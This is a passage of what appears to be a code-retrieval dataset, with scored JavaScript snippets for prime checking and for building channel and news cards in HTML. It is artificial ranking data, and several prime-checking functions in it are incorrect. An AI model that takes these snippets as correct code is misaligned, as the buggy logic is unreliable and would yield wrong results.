"7199b80df5d3f2d38bcbf57557633c4a", "score": "0.7730638", "text": "function isPrime(number) {\n if (number < 2) return false;\n \n for (var i = 2; i < number; i++) {\n if (number % i === 0) return false;\n }\n\n return true;\n}", "title": "" }, { "docid": "60dddd6196c3e93c65b430ddda2c4bc2", "score": "0.7730333", "text": "function isPrime(n) {\n if(n === 0)\n return false;\n else if(n === 2)\n return true;\n else \n for(var i = 2; i < n; i++)\n if(n % i === 0)\n return false;\n \n return true;\n}", "title": "" }, { "docid": "b5cc775152d510e5323e6e87fd86df96", "score": "0.772878", "text": "function IsDivisible(n, prime) {\n return n % prime == 0;\n}", "title": "" }, { "docid": "218632749f35550857d5c9f27877c5ef", "score": "0.77280396", "text": "function isPrime(num) {\n for (var i = 2; i < num; i++) {\n if (num % i === 0) {\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "218632749f35550857d5c9f27877c5ef", "score": "0.77280396", "text": "function isPrime(num) {\n for (var i = 2; i < num; i++) {\n if (num % i === 0) {\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "c4b586654b14a09806906ab57a202339", "score": "0.77260315", "text": "function isPrime(num) {\n for (var i = 2; i < num; i++) if (num % i == 0) return false;\n return num >= 2;\n}", "title": "" }, { "docid": "097f3cd8e0813ae37b2ad6f067db828d", "score": "0.77194846", "text": "function isPrime(num) {\n if (num < 2) {\n return false;\n }\n\n for (var i = 2; i < num; i++) {\n if (num % i == 0) {\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "58342ff11c66aeae4dcfc2373715f466", "score": "0.77160215", "text": "function isThisPrime(num) {\n for (var x = 2; x < num; x++) {\n if (num % x === 0) {\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "25b00f614efe9046059af3e6384c9e93", "score": "0.77145", "text": "function isPrime(n)\n{\n if(n==2 || n==3)return true;\n else if(n%2===0 || n%3===0)return false;\n else{\n var i=5;\n while(i<=n/2)\n {\n if(n%i===0)\n {\n return false;\n }\n i++;\n }\n }\n return true;\n}", "title": "" }, { "docid": "45630295853efa3b174a7444f1c504ff", "score": "0.771086", "text": "function isPrime(number){\n\tif(number <= 1){return false;}\n\tif(number == 2){return true;}\n\tif(!(number%2)){return false;}\n\tvar maxCheck = Math.floor(Math.sqrt(number));\n\tfor(var i = 3; i <= maxCheck; i+=2){\n\t\tif(!(number%i)){return false;}\n\t}\n\treturn true;\n}", "title": "" }, { "docid": "533299e92191e8cd2b2d8e508145d9a1", "score": "0.7704909", "text": "function checkPrime(number) {\n if (number <= 1) {\n return false;\n } else {\n for (i = 2; i < number; i++) {\n if (number % i == 0) {\n return false;\n }\n }\n return true;\n }\n}", "title": "" }, { "docid": "29bd7497b0a7f6cedde93aaf0891d6cd", "score": "0.77023816", "text": "function isPrime(value) {\n for(var i = 2; i < value; i++) {\n if(value % i === 0) {\n // console.log(i);\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "874ec146111a015e1db8de287c74857e", "score": "0.769774", "text": "function isPrime(num) {\n if (num <= 1) {\n return false;\n } \n for (let i = 2; i < num; i++) {\n if (num % i === 0) { return false };\n }\n return true;\n}", "title": "" }, { "docid": "a7603ae96902a490d1281a4773906453", "score": "0.76949334", "text": "function isPrime(num){\n\n if(num === 1) return false; // 1은 소수가 아님\n for(let i = 2; i <= parseInt(Math.sqrt(num)); i++){\n if(num % i === 0 ) return false;\n // 다른 수와 나누어 떨어진다면 소수가 아님\n }\n return true;\n }", "title": "" }, { "docid": "851d26e763b06de602b30b6f285c2fb2", "score": "0.7694209", "text": "function primeNumCheck(num) {\n if (typeof num === \"number\") {\n\n if (num === 1) {\n return false;\n }\n else if (num === 2) {\n return true;\n } else {\n for (var x = 2; x < num; x++) {\n if (num % x === 0) {\n return false;\n }\n }\n return true;\n }\n }\n}", "title": "" }, { "docid": "1882efcf505e1a3dc47d0da0da6ed78f", "score": "0.7693157", "text": "function isPrime(num) {\n if (num <= 1) return false\n for (let i = 2; i < num; i++) {\n if (num % i == 0) {\n return false\n }\n }\n return true\n}", "title": "" }, { "docid": "bd5f80b6b26c934fdb8489941b0840ce", "score": "0.769299", "text": "function isPrime(n) {\n for(let i = 2; i <= Math.floor(n/2); i++) {\n if(n % i === 0) {\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "af74fe3b5b5fd1c708baa5bc8c66605c", "score": "0.7692716", "text": "function checkPrime(number) {\n if (number <= 1) {\n return false;\n } else {\n for (let i = 2; i < number; i++) {\n if (number % i == 0) {\n return false;\n }\n }\n return true;\n }\n}", "title": "" }, { "docid": "b47ece9a420816cd65cd1e8512299187", "score": "0.7688068", "text": "function prime(num1){\n var count=0;\n for(i=1;i<num1;i++){\n if(num1%i===0)count++;\n }\n if(count===1)console.log(num1+\" is prime\")\n else console.log(num1+\" is not prime\")\n}", "title": "" }, { "docid": "e54c2bf76915d56b6c97fd689d091c1b", "score": "0.76854926", "text": "function prime(number) {\n var number;\n for (var i = 2; i < number; i++) {\n if (number % i != 0);\n\n }\n console.log(i);\n}", "title": "" }, { "docid": "bd404292f856ef2a83d618aeda9fa690", "score": "0.7678846", "text": "function isPrime(n)\r\n{ \r\n//this function will check wether the number is prime or not \r\n if (n===1)\r\n {\r\n return false;\r\n }\r\n else if(n === 2)\r\n {\r\n return true;\r\n }else\r\n {\r\n for(var x = 2; x < n; x++)\r\n {\r\n if(n % x === 0)\r\n {\r\n return false;\r\n }\r\n }\r\n return true; \r\n }\r\n}", "title": "" }, { "docid": "baf3caafb9b7cb3d73219dac5b05751a", "score": "0.7678435", "text": "function isPrime(num) {\n for (let i = 2; num > i; i++) {\n if (num % i == 0) {\n return false\n }\n }\n return num > 1\n }", "title": "" }, { "docid": "92f877ade759018b572591cdebb7d830", "score": "0.7678389", "text": "function isPrime(num){\n\n\tif(num === 1){\n\t\treturn true;\n\t}\n\tfor(i=2; i<num; i++) {\n\t\tif(num%i===0){\n\t\t\treturn false;\n\t\t}\n\t}\t\n}", "title": "" }, { "docid": "9ca57967c0a2ce9ece7f7a21cea28e9f", "score": "0.7676317", "text": "function isPrime(n){\r\n if(n < 2) return false;\r\n if(n <= 3) return true;\r\n\r\n if(n & 1 === 0) return false;\r\n if(n % 3 === 0) return false;\r\n\r\n for(let i = 5; i * i <= n; i+=6){\r\n if(n % i === 0 || n % (i + 2)) return false;\r\n }\r\n\r\n return true;\r\n\r\n}", "title": "" }, { "docid": "9c56b3a74d0e55dc38ae2e41595a9a15", "score": "0.7673647", "text": "function isPrime(n) {\n if (n <= 1){\n return false;\n } \n if (n == 2){\n return true;\n } \n if (n % 2 == 0){\n return false;\n }\n var m = Math.round(Math.sqrt(n));\n for (var i = 3; i <= m; i += 2){\n if (n % i == 0){\n return false;\n }\n \n }\n \n return true;\n }", "title": "" } ]
b5fdc8f47a9d5e55e970e0378ff178dd
add HTML for channel card to left side column
[ { "docid": "3d7e450cfabd838aea34e11ea0085d4e", "score": "0.5867846", "text": "function add_channel_card(ch_name, ch_data) {\n\n //reaplce spaces in channel name for display purposes\n ch_name_display = ch_name.replace(/_/g,\" \");\n\n //CARD ROW\n const row = document.createElement('div');\n row.className = \"row mx-auto\";\n\n //CARD\n const card = document.createElement('div');\n card.className = \"card text-white bg-primary rounded my-1 mx-auto\"\n\n // card link\n const anchor = document.createElement('a');\n var a_attr1 = document.createAttribute(\"href\");\n a_attr1.value = \"\";\n anchor.setAttributeNode(a_attr1);\n var a_attr2 = document.createAttribute(\"data-channel\");\n a_attr2.value = ch_name;\n anchor.setAttributeNode(a_attr2);\n anchor.className = \"ch_link\";\n anchor.onclick = () => {\n const sel_channel = anchor.dataset.channel;\n change_channel(sel_channel);\n return false;\n };\n\n // CARD HEADER\n const card_head = document.createElement('div');\n card_head.className = \"card-header\";\n\n card_head.addEventListener(\"animationend\", (element) => {\n reset_new_message_animation(element);\n });\n\n card_head.innerHTML = ch_name_display;\n\n //add pill badge to card header\n const counter = document.createElement('span');\n counter.className = \"badge badge-pill badge-danger ml-2\";\n counter.id = ch_name+\"numposts\";\n card_head.appendChild(counter);\n counter.innerHTML = ch_data.num_posts;\n\n //CARD BODY\n const card_body = document.createElement('div');\n var card_body_attr = document.createAttribute(\"class\");\n card_body_attr.value = \"card-body pt-1 pb-2 px-3\";\n card_body.setAttributeNode(card_body_attr);\n\n //channel card text\n const card_text = document.createElement('p');\n var card_text_attr = document.createAttribute(\"class\");\n card_text_attr.value = \"card-text mx-0\";\n card_text.setAttributeNode(card_text_attr);\n\n const p_owner = document.createElement('p');\n p_owner.innerHTML = \"Owner: \" + ch_data.owner;\n const p_lastpost = document.createElement('p');\n p_lastpost.innerHTML = \"Last: \";\n const s_lastpost = document.createElement('span');\n s_lastpost.id = ch_name+'lastpost';\n if (ch_data.last_post == 0) {\n s_lastpost.innerHTML = \"no posts\";\n } else {\n s_lastpost.innerHTML = disp_time(ch_data.last_post);\n }\n p_lastpost.appendChild(s_lastpost);\n\n //BUILD CARD\n card_text.appendChild(p_owner);\n card_text.appendChild(p_lastpost);\n card_body.appendChild(card_text);\n anchor.appendChild(card_head);\n anchor.appendChild(card_body);\n card.appendChild(anchor);\n row.appendChild(card);\n\n //add the new row to the top of the channel listing\n chat_window = document.querySelector('#channel_listing');\n chat_window.insertBefore(row, chat_window.firstChild);\n\n // return the newly added row to add an id and initiate animation\n return row;\n\n} // end add_channel_card()", "title": "" } ]
[ { "docid": "a60250bdecd4543bc0382336ec3bc6d2", "score": "0.63971317", "text": "function addHTMLScoreCard(){\n html.push(`\n <div class=\"row\">\n <div class=\"col s2 center-align\">\n <span class=\"white-text flow-text truncate\">` + score +`\n </span>\n </div>\n </div>\n `);\n}", "title": "" }, { "docid": "3cbdba960864ae32e1c623db4500622a", "score": "0.6117629", "text": "function renderingCards(results) {\n const html = results.map((channel) => {\n return `<div class=\"inner__content\"><a href=\"${channel.customUrl} + ${utm}\" target=\"_blank\">\n <img class=\"channel__logo\" src=\"${channel.thumbnails.medium.url}\" alt=\"${channel.title + ' logo'}\"></a>\n <h3 class=\"title__content\">${channel.title}</h3>\n <ul class=\"channel__description\">\n <li>\n <span class=\"heading__description\">Subscribes:</span><br>\n <span>${numberWithCommas(channel.statistics.subscriberCount)}</span>\n </li>\n <li>\n <span class=\"heading__description\">Videos:</span><br>\n <span>${numberWithCommas(channel.statistics.videoCount)}</span>\n </li>\n <li>\n <span class=\"heading__description\">Views:</span><br>\n <span>${numberWithCommas(channel.statistics.viewCount)}</span>\n </li>\n </ul>\n </div>`\n }).join('')\n channels.innerHTML = `<div class=\"wrapper__content\">${html}</div>`\n\n }", "title": "" }, { "docid": "a6f3ac3fbbf79c0a94052481c963bce4", "score": "0.58668154", "text": "function leftColum(content){\r\n return \"<div class='leftDiv'>\" + content.toUpperCase() + \"</div>\\n\";\r\n}", "title": "" }, { "docid": "64c18655fba425f054eb220345388d1d", "score": "0.5828699", "text": "static whsItemsCardHTML(item) {\n return `\n <strong>${item.name}</strong> <br />\n <strong>Description: </strong>${item.description} <br />\n <strong>Price: </strong>${item.price} <br />\n <strong>Quantity: </strong>${item.quantity} <br />\n `\n }", "title": "" }, { "docid": "304fe2aa117912146d1789f56e9ff442", "score": "0.5826566", "text": "function appendCardWoImage() {\n\t\tvar snippet = '<div class=\"card card-block\">\\n'+\n\t\t'\t<h4 class=\"card-title\">Card title</h4>\\n'+\n\t\t'\t<p class=\"card-text\">Some quick example text to build on the card title and make up the bulk of the card\\'s content.</p>\\n'+\n\t\t'\t<a href=\"#\" class=\"card-link\">Card link</a>\\n'+\n\t\t'\t<a href=\"#\" class=\"card-link\">Another link</a>\\n'+\n\t\t'</div>';\n\n\t\tvar editor = edManager.getCurrentFullEditor();\n\t\tif(editor){\n\t\t\tvar insertionPos = editor.getCursorPos();\n\t\t\teditor.document.replaceRange(snippet, insertionPos);\n\t\t}\n\t}", "title": "" }, { "docid": "162a872f2d5d1482af5ae9ecc07f8ed4", "score": "0.57964593", "text": "function renderCardBack(item) {\r\n const meta = metadata[item.type];\r\n\r\n return `\r\n <div class=\"flip-card-back ${meta.class}\">\r\n <div class=\"info\">\r\n <span class=\"title\">${item.title}</span>\r\n <span class=\"description\">${item.description}</span>\r\n <div class=\"share\"> \r\n <strong>Share:</strong>\r\n <a href=\"https://linkedin.com\" class=\"btn-share\" target=\"_blank\">\r\n <span class=\"${meta.class}\">LinkedIn</span>\r\n </a>\r\n <a href=\"https://twitter.com\" class=\"btn-share\" target=\"_blank\">\r\n <span class=\"${meta.class}\">Twitter</span>\r\n </a>\r\n <a href=\"https://facebook.com\" class=\"btn-share\" target=\"_blank\">\r\n <span class=\"${meta.class}\">Facebook</span>\r\n </a>\r\n </div>\r\n </div>\r\n <button class=\"btn\" onclick=\"${meta.subscribe}('${item.title}')\">\r\n Checkout Now\r\n </button>\r\n </div>\r\n `;\r\n }", "title": "" }, { "docid": "9733881fa375f1a887ec0d441a8eaee5", "score": "0.578953", "text": "function displayCard(c) {\n return `\n <div class=\"card\" data-title=\"${c.title}\">\n <img\n class=\"card-img-top\"\n src=\"${c.poster}\"\n alt=\"Card image cap\"\n />\n <div class=\"card-body\">\n <h5 class=\"card-title\">${c.title}</h5>\n <p class=\"card-text\">\n ${c.description}\n </p>\n <a href=\"#\" class=\"btn btn-primary\">Go somewhere</a>\n <button class=\"btn btn-danger float-right\">Delete</button>\n </div>\n </div>`;\n}", "title": "" }, { "docid": "21def155c590abd879a0982ab41449ec", "score": "0.57502675", "text": "function render_content(row){\n\t\t\t\tvar content_title = '<h4 class=\"content_title\">' + row.content.title + '</h4>';\n\t\t\t\t//var section = '<h5 class=\"content_speaker\">' + '<span class=\"hidden-lg hidden-md hidden-sm\">' + row.content.speaker + '<br></span> Секция ' + row.main.section + '</h5>';\n\t\t\t\tvar section = '<h5 class=\"content_speaker\">' + '<span class=\"\">' + row.content.speaker + ',</span> секция ' + row.main.section + '</h5>';\n\t\t\t\tif(row.render.order == \"x\"){\n\t\t\t\t\tsection = '<h5 class=\"content_speaker\">' + row.content.speaker + '</h5>';\n\t\t\t\t}\n\n\t\t var content_more = '';\n\t\t if(!(row.content.description === \"\")){\n\t\t \tvar desc_container = '<div class=\"video_description_container\"><div class=\"video_description\">' + row.content.description + '</div></div>';\n\t\t \tvar desc_toggles = '<div class=\"video_extend_expand_container\">' + \n\t\t \t\t'<h6 class=\"video_description_expand\">развернуть</h6>' + \n\t\t \t\t'<h6 class=\"video_description_shrink\" style=\"display: none;\">свернуть</h6>' + \n\t\t \t\t'</div>';\n\t\t \tcontent_more = desc_container + desc_toggles;\n\t\t }\n\t\t return content_title + section + content_more;\n\t\t\t}", "title": "" }, { "docid": "d436ce7085b209cef99acc7762b688df", "score": "0.5740508", "text": "function htmlEventCard (item) { \r\n \r\n var noticiaTruncada = truncateNoticia(item.detalleTxt);\r\n var strBuilderLastNewsContent = [];\r\n console.log(noticiaTruncada);\r\n strBuilderLastNewsContent.push('<div class=\"card demo-card-header-pic\">');\r\n strBuilderLastNewsContent.push('<a onclick=\"loadEventDetails1(' + item.id + ',\\'' + sucesoDetailFromHome + '\\')\" href=\"#\" class=\"\">');\r\n\r\n // -----------> Header\r\n strBuilderLastNewsContent.push('<div class=\"card-header color-white no-border\">');\r\n strBuilderLastNewsContent.push('<div style=\"width: 100%;/*height: 100%*/;overflow: hidden;\">');\r\n strBuilderLastNewsContent.push('<img style=\"width:100%;\" src=\\'' + item.imagenPrincipal + '\\' >');\r\n strBuilderLastNewsContent.push('</div>');\r\n strBuilderLastNewsContent.push('</div>');\r\n // <----------- Header\r\n\r\n strBuilderLastNewsContent.push('<div class=\"chipHomeContainer\">');\r\n if (item.tags.publicador != \"\") {\r\n strBuilderLastNewsContent.push('<div class=\"chip chipHomeCategory\">');\r\n strBuilderLastNewsContent.push('<div class=\"media\">');\r\n strBuilderLastNewsContent.push('<i style=\"background-image: url(' + item.datosPublicacion.ente.imagenPrincipalMin + ');\" class=\"icon icon-chiptag-categoria\"></i>');\r\n strBuilderLastNewsContent.push('</div>');\r\n strBuilderLastNewsContent.push('<div class=\"chip-label chipHomeCategoryLabel\">' + item.datosPublicacion.ente.nombre + '</div>');\r\n strBuilderLastNewsContent.push('</div>');\r\n }\r\n strBuilderLastNewsContent.push('<div class=\"chip chipHomeDate\">');\r\n strBuilderLastNewsContent.push('<div class=\"media\">');\r\n strBuilderLastNewsContent.push('<i class=\"icon icon-date-home\"></i>');\r\n strBuilderLastNewsContent.push('</div>');\r\n strBuilderLastNewsContent.push('<div class=\"chip-label chipHomeDateLabel\">' + formatDateSucesos(item.fecha.fecha) + '</div>');\r\n strBuilderLastNewsContent.push('</div>');\r\n\r\n strBuilderLastNewsContent.push('<div class=\"chip chipHomeTags\">');\r\n strBuilderLastNewsContent.push('<div class=\"media\">');\r\n strBuilderLastNewsContent.push('<i style=\"background-image: url(' + item.tags.icono + ');\" class=\"icon icon-chiptag-categoria\"></i>');\r\n strBuilderLastNewsContent.push('</div>');\r\n strBuilderLastNewsContent.push('<div class=\"chip-label chipHomeCategoryLabel\">' + item.tags.categoria + '</div>');\r\n strBuilderLastNewsContent.push('</div>');\r\n strBuilderLastNewsContent.push('</div>');\r\n //strBuilderLastNewsContent.push('<a onclick=\"loadEventDetails1(' + item.id + ',\\'' + sucesoDetailFromHome + '\\')\" href=\"#\" class=\"item-link item-content\">');\r\n //strBuilderLastNewsContent.push('</a>');\r\n//strBuilderLastNewsContent.push('<a onclick=\"loadEventDetails1(' + item.id + ',\\'' + sucesoDetailFromHome + '\\')\" href=\"#\" class=\"item-link item-content\">');\r\n // --------------> Content\r\n strBuilderLastNewsContent.push('<div class=\"card-content news-content\">');\r\n strBuilderLastNewsContent.push('<div class=\"card-content-inner\">');\r\n var urlImgNewsList = getDefaultImageNewsList();\r\n if (item.urlImgMin != \"\") {\r\n urlImgNewsList = item.urlImgMin;\r\n }\r\n strBuilderLastNewsContent.push('<div style=\"font-family:Montserrat-Regular; font-size: 16px; color: #585858;/*white-space: nowrap*/;text-overflow: ellipsis;overflow: hidden;\">' + item.titulo + '</div>');\r\n strBuilderLastNewsContent.push('<div class=\"color-gray homeCardcontent\">' + noticiaTruncada + '</div>');\r\n strBuilderLastNewsContent.push('</div>');\r\n strBuilderLastNewsContent.push('</div>');\r\n // strBuilderLastNewsContent.push('<div class=\"card-footer tournament-matches-footer\">Ver más...</div>');\r\n strBuilderLastNewsContent.push('</div>');\r\nstrBuilderLastNewsContent.push('</a>');\r\n // <-------------- Content\r\nstrBuilderLastNewsContent.push('</div>');\r\n\r\nreturn strBuilderLastNewsContent;\r\n\r\n}", "title": "" }, { "docid": "13717dac5004b97b2ab31662d234c4cf", "score": "0.5730125", "text": "createHTML(){\n return `\n <div class=\"col s12 m4 l4 center\">\n <div class=\"card\">\n <div class=\"card-image\">\n <i\n class=\"medium material-icons\">account_circle</i>\n <span class=\"card-title\">\n </span>\n </div>\n\n <h3>${this.getName()}</h3>\n <h5>Engineer</h5>\n\n <div class=\"card-content\">\n <ul class=\"collection\">\n <li\n class=\"collection-item\">\n ID:${this.getId()}</li>\n <li\n class=\"collection-item\">\n Email:<a\n href=\"mailto:${this.getEmail()}\">${this.getEmail()}</a>\n </li>\n <li\n class=\"collection-item\">\n GitHub:${this.getGithub()}</li>\n\n </ul>\n </div>\n </div>\n</div> \n `\n }", "title": "" }, { "docid": "c6e99b59e6604ddb4d96b123205ad92b", "score": "0.570066", "text": "openLeftColumn(player, cards, zone) {\n if (this.get('amIPlayerOne')) {\n this.setProperties({\n leftColumnPlayer: player,\n leftColumnZone: zone,\n showLeftColumn: true\n });\n }\n }", "title": "" }, { "docid": "c505c4e4b2eed4629b24fc400314e05c", "score": "0.5696388", "text": "function addHtmlFlagCard(num){\n html.push(`\n <div class=\"center-align\">\n <div class=\"col s12 m6\">\n <div class=\"card-iamge\">\n <div class=\"card-content white-text\">\n <img class=\"z-depth-3\" width=\"200\" src=\"` + countries[num].flag + `\">\n </div>\n </div>\n </div>\n </div>\n `);\n}", "title": "" }, { "docid": "7fd7abfe5eb8f8e2ed39b7cedfbc8876", "score": "0.56598395", "text": "function getActionCardDisplayHTML(actionCard) {\n\tvar htmlString =\n\t\t\"<div class=\\\"action-card-container\\\" card-local-id=\\\"\" + actionCard.localId + \"\\\">\" +\n\t\t\"<div class=\\\"header\\\">\" +\n\t\t\"<h3>\" + actionCard.name + \"</h3>\" + \"<div class=\\\"filler\\\"></div>\" + \"<h3>Cost: \" + actionCard.cost + \"</h3>\" +\n\t\t\"</div>\" +\n\t\t\"<img src=\\\"\" + actionCard.imagePath + \"\\\" alt=\\\"placeholder image\\\">\" +\n\t\t\"<p>\" + actionCard.details + \"</p>\" +\n\t\t\"</div>\"\n\t;\n\n\treturn htmlString;\n}", "title": "" }, { "docid": "26b17060d35c3a853db65dc71fef4c6b", "score": "0.5633991", "text": "addDummyCard() {\n const html = `\n <div class=\"my-card dummy-card d-inline-block\">\n <div class=\"my-card-img-div\"></div>\n </div>\n `;\n $('.card-track-inner').append(html);\n }", "title": "" }, { "docid": "a38d617364000dbd87c881057c49c332", "score": "0.5630763", "text": "function renderCard(card) {\n let newCard =\n `<div>\n <div class=\"uk-card uk-card-default portfolio-card\">\n <div class=\"uk-card-body portfolio-card-body\">\n <div class=\"uk-position-relative uk-visible-toggle uk-light\" tabindex=\"-1\" uk-slideshow>\n <ul class=\"uk-slideshow-items\">\n <li>\n <h3 class=\"uk-card-title project-title\">${card.title}</h3>\n <p class=\"project-description\">${card.about}</p>\n </li>\n <li>\n <img src=\"${card.imgURL}\" alt=\"\" uk-cover>\n </li>\n </ul>\n <a class=\"uk-position-top-right uk-position-small uk-hidden-hover\" href=\"#\" uk-slidenav-next uk-slideshow-item=\"next\"></a>\n </div>\n </div>\n <div class=\"uk-card-footer portfolio-card-footer\">\n <div class=\"uk-text-center\">\n <a href=\"${card.siteURL}\" target=\"_blank\" class=\"btn-link\">\n <button class=\"uk-button uk-button-default portfolio-btn\">View Website</button>\n </a>\n <a href=\"${card.repoURL}\" target=\"_blank\" class=\"btn-link\">\n <button class=\"uk-button uk-button-default portfolio-btn\">GitHub Repo</button>\n </a>\n </div>\n </div>\n </div>\n </div>`\n\n $(\"#portfolio-section\").append(newCard);\n }", "title": "" }, { "docid": "19bf7a4852a5c509a7ffa3d81d6ff9c4", "score": "0.5609315", "text": "function renderCha2(data) {\n const container = document.createElement('div');\n container.setAttribute('class', 'cardB' );\n const mutantHTML = ` \n <img class=\"card-img-top\" src='${data.thumbnail.path}/portrait_incredible.${data.thumbnail.extension}' alt='${data.name}'>\n <div class=\"card-body\"><h5 class=\"card-title\">${data.name}</h5></div>`;\n container.innerHTML = mutantHTML;\n const footDiv = document.getElementById('footId');\n app.insertBefore(container, footDiv);\n}", "title": "" }, { "docid": "712d8396b368faf1e673615b157481df", "score": "0.560621", "text": "function rightColum(content){\r\n return \"<div class='rightDiv'>\" + content + \"</div>\\n\";\r\n}", "title": "" }, { "docid": "4b7d2df697a5bd1b066b565a62996f1d", "score": "0.5593648", "text": "function createEngineerCard(engineer) {\n return `<div class=\"card is-one-third has-text-centered \">\n \n <div class=\"card-content has-background-success-light\">\n <div class=\"media\">\n <div class=\"media-left\">\n </div>\n <div class=\"media-content\">\n <p class=\"title is-4\">Engineer <i class=\"fas fa-drafting-compass\"></i></p>\n <p class=\"subtitle is-6\">Name: ${engineer.name}</p>\n </div>\n </div>\n \n <div class=\"content\">\n <p>Employee ID: ${engineer.id}</p>\n <p>Email: <a target=\"_blank\" href=\"mailto:${engineer.email}\">${engineer.email}</a></p>\n <p>Github username: <a target=\"_blank\" href=\"https://github.com/${engineer.githubUN}\">${engineer.githubUN}</a></p>\n </div>\n </div>\n </div>`\n}", "title": "" }, { "docid": "ebc26ca4f365395cd6310630cf945f33", "score": "0.55908686", "text": "function appendCard(idea) {\n cardContainer.innerHTML += `\n <section class=\"idea-card\" data-name=${idea.id}>\n <div class=\"card-top\">\n <button class=\"icon star-icon\" type=\"button\"></button>\n <img class=\"icon delete-icon\" type=\"button\" src=\"./assets/delete.svg\" alt=\"Delete card button\">\n </div>\n <h2 class=\"idea-title\">${idea.title}</h2>\n <p class=\"idea-body\">${idea.body}</p>\n <div class=\"card-bottom\">\n <img class=\"icon\" src=\"./assets/comment.svg\" alt=\"Add comment button\">\n <p class=\"comment\">Comment</p>\n </div>\n </section>`\n form.reset();\n saveDisableToggle();\n}", "title": "" }, { "docid": "f86706527e6af503cfbcd106b6c23da2", "score": "0.55739504", "text": "function createBlogCard(card) {\n return `<div class=\"card card-filter\" id=\"${card.id}\" data-filter=\"${card.category}\">\n <a href=\"${card.href}\" target=\"_blank\">\n <div class=\"card-photo\">\n <img src=\"assets/images/${card.img}.jpg\" alt=\"Image Project\">\n </div>\n <div class=\"card-body\">\n <h3 class=\"bold two-rows\">${card.title}</h3>\n <p class=\"description-two-rows\">${card.description}</p>\n <p class=\"btn white bold\"><i class=\"fas fa-arrow-right arrow-card\"></i></p>\n <p class=\"text-shadow primary-yellow-background inline-block padding-btn card-yellow\">${card.category}</p>\n </div>\n </a> \n </div>`;\n}", "title": "" }, { "docid": "c3c4ea351d089d3cb865a2f3d8cebbe9", "score": "0.5560286", "text": "function side_chat_promo_html($promo) {\n\n\tside_chat_hide();\n\tside_chat_preserve_messages();\n\n\t$promo_html = `\n <div class=\"lp_action promo\">\n <div class=\"lp_action_info_container\">\n <div class=\"lp_action_info\">\n <div class=\"lp_action_product_details\">\n <div class=\"lp_action_product_name\">\n <span>${$promo.name} </span>\n <p class=\"code_promo\" data-clipboard-text=\"${$promo.code}\">${$promo.code}</p> \n </div>\n <a class=\"lp_action_product_img gift_box_link\" href=\"#${$promo.name}\"><span class=\"gift_box\"></span></a>\n </div>\n </div>\n </div>\n </div>\n `;\n\n\t$('.lp_side_chat_container').append($promo_html);\n\n}", "title": "" }, { "docid": "2ff171aa5a1a00358fd5e086f43f3f22", "score": "0.5539808", "text": "function displayPlayerHand() {\n playerHandHtml.innerHTML = '';\n playerHand.forEach(function(card, idx) {\n let c = `<div class = \"card ${card.face}\"></div>`\n playerHandHtml.innerHTML += c;\n\n })\n}", "title": "" }, { "docid": "019064f411f0a0a2a70bf125e5f0040c", "score": "0.5530423", "text": "function createChannelElement(channelObject) {\r\n // create the channel object's variable name\r\n var firstLetter = channelObject.name.substring(1,2).toLowerCase();\r\n var channelName = firstLetter + channelObject.name.substring(2);\r\n\r\n // Either a filled or an empty star next to the channel, depending on its status\r\n var starred = channelObject.starred? \"fas\" : \"far\";\r\n \r\n // Create a new html channel element\r\n var messageElement = '<li onclick=\"switchChannel(' + channelName + ')\">\\n ' + channelObject.name + '\\n <span class=\"channel-meta\">\\n <i class=\"' + starred + ' fa-star\"></i>\\n <!-- #5 #channels #icons now with chevron -->\\n <small>' + channelObject.expiresIn + ' min</small>\\n <small>' + channelObject.messageCount + ' new</small>\\n <i class=\"fas fa-chevron-right\"></i>\\n </span>\\n </li>';\r\n\r\n return messageElement;\r\n\r\n}", "title": "" }, { "docid": "3311fdcb22bee58ecde7750302acf331", "score": "0.55302286", "text": "function htmlNewCard (item) {\r\n\r\n console.log(item);\r\n var strBuilderLastNewsContent = [];\r\n\r\n var noticiaTruncada = truncateNoticia(item.detalleTxt);\r\n console.log(noticiaTruncada);\r\n console.log(strBuilderLastNewsContent);\r\n strBuilderLastNewsContent.push('<div class=\"card demo-card-header-pic\">');\r\n\r\n strBuilderLastNewsContent.push('<a onclick=\"loadNewDetails(' + item.id + ',\\'' + sucesoDetailFromHome + '\\')\" href=\"#\"> ');\r\n\r\n strBuilderLastNewsContent.push('<div class=\"card-header color-white no-border\">');\r\n strBuilderLastNewsContent.push('<div style=\"width: 100%;/*height: 250px*/;overflow: hidden;\">');\r\n strBuilderLastNewsContent.push('<img style=\\\"width: 100%;\\\" src=\\'' + item.imagenPrincipal + '\\' >');\r\n strBuilderLastNewsContent.push('</div>');\r\n strBuilderLastNewsContent.push('</div>');\r\n\r\n strBuilderLastNewsContent.push('<div class=\"chipHomeContainer\">');\r\n //strBuilderLastNewsContent.push('<a onclick=\"loadNewDetails('+item.id+')\" href=\"#\" class=\"item-link item-content\">');\r\n // strBuilderLastNewsContent.push('<div class=\"chip chipHomeDate\"><div class=\"media\"><i class=\"icon icon-date-home\"></i></div><div class=\"chip-label chipHomeDateLabel\">'+formatDateSucesos(item.fecha.fecha)+'</div></div>');\r\n if (item.tags.publicador != \"\") {\r\n strBuilderLastNewsContent.push('<div class=\"chip chipHomeCategory\"><div class=\"media\"><i style=\"background-image: url(' + item.datosPublicacion.ente.imagenPrincipalMin + ');\" class=\"icon icon-chiptag-categoria\"></i></div><div class=\"chip-label chipHomeCategoryLabel\">' + item.datosPublicacion.ente.nombre + '</div></div>');\r\n strBuilderLastNewsContent.push('<div class=\"chip chipHomeTags\"><div class=\"media\"><i style=\"background-image: url(' + item.tags.icono + ');\" class=\"icon icon-chiptag-categoria\"></i></div><div class=\"chip-label chipHomeCategoryLabel\">' + item.tags.categoria + '</div></div>');\r\n strBuilderLastNewsContent.push('</div>');\r\n } else {\r\n strBuilderLastNewsContent.push('<div class=\"chip chipHomeTagsLeft\"><div class=\"media\"><i style=\"background-image: url(' + item.tags.icono + ');\" class=\"icon icon-chiptag-categoria\"></i></div><div class=\"chip-label chipHomeCategoryLabel\">' + item.tags.categoria + '</div></div>');\r\n strBuilderLastNewsContent.push('</div>');\r\n }\r\n //strBuilderLastNewsContent.push('<div class=\"chip chipHomeTags\"><div class=\"media\"><i class=\"icon icon-home-tiposuceso\"></i></div><div class=\"chip-label chipHomeCategoryLabel\">'+item.tags.categoria+'</div></div>');\r\n //strBuilderLastNewsContent.push('<div class=\"chip chipHomeTags\"><div 